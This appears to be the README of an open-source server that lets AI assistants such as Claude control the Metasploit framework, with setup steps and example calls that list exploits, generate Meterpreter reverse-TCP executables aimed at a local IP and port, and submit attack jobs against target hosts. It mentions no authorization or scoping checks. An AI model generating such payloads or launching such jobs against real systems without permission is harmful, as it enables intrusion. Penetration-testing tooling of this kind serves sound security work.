Metasploitmcp

🚀 MetaSploit MCP Server

This is a Model Context Protocol (MCP) server that integrates large language models (such as Claude) with the MetaSploit framework. It allows AI assistants to dynamically access and control MetaSploit functions, providing a natural language interface through standardized tools to make complex penetration testing workflows more convenient.

🚀 Quick Start

This MCP server bridges large language models (e.g., Claude) and the MetaSploit framework. It enables AI assistants to directly invoke and control MetaSploit functions, thereby implementing a natural language interface for complex security testing workflows.

✨ Features

Module Information

• List exploits: Search for and list available MetaSploit attack modules.
• List payloads: Search for and list available attack payloads.
• Generate payload: Generate custom payloads through configuration parameters.

Prerequisites

1. Install Python 3.8 or a higher version.
2. Install the MetaSploit framework (it is recommended to use the latest stable version).
3. Environment variable configuration:
   • Set the MSF_PATH environment variable to point to the installation directory of MetaSploit.
   • Optional: Set the PAYLOAD_SAVE_DIR environment variable to specify the payload save path.

📦 Installation

1. Clone the project repository:

   git clone https://github.com/yourusername/metasploit-mcp.git
   cd metasploit-mcp
   

2. Create and activate a virtual environment (it is recommended to use a Python 3 virtual environment):

   python -m venv mcp-venv
   source mcp-venv/bin/activate  # For Linux/macOS
   mcp-venv\Scripts\activate     # For Windows
   

3. Install dependencies:

   pip install -r requirements.txt
   

💻 Usage Examples

Basic Usage

1. Start the server:

   python server.py
   

2. Example of invoking functions:

   # List available exploits
   list_exploits()
   
   # Generate a custom payload
   generate_payload(exploit_type="windows/meterpreter/reverse_tcp", 
                    output_format="exe", 
                    parameters={"LHOST": "192.168.1.10", "LPORT": 4444})
   
   # Submit an attack job
   submit_job(exploit_id=1, target_hosts=["192.168.1.100"], payload_id=1)
   

Advanced Usage

Attack Module Testing

1. List available exploits:

   list_exploits()  # Return a list of all available exploits
   

2. Generate a custom payload:

   generate_payload(exploit_type="windows/x64/meterpreter/reverse_tcp",
                   output_format="exe", 
                   parameters={"LHOST": "192.168.1.1", "LPORT": 4444})
   

3. Submit an attack job:

   submit_job(exploit_id=1, target_hosts=["192.168.1.100"], payload_id=1)
   

Job Management

1. View all jobs:

   list_jobs()  # Return a list of all running and completed jobs
   

2. Terminate a specific job:

   terminate_job(job_id=1)  # Abort the execution of the specified job ID
   

📚 Documentation

Payload Save Directory

By default, the generated payloads will be saved in the payloads folder under the user's home directory. You can customize this path by setting the PAYLOAD_SAVE_DIR environment variable:

Setting Methods:

• Windows (PowerShell):

  $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
  

• Windows (Command Prompt):

  set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
  

• Linux/macOS:

  export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
  

• Specify through a configuration file:

  {
      "env": {
          "MSF_PATH": "/opt/metasploit",
          "PAYLOAD_SAVE_DIR": "/var/custom/payloads"
      }
  }
  

Note: If the path you specified does not exist, the program will try to create it automatically. If it cannot be created, ensure that the application has permission to access the directory.

📄 License

This project follows the Apache 2.0 license agreement.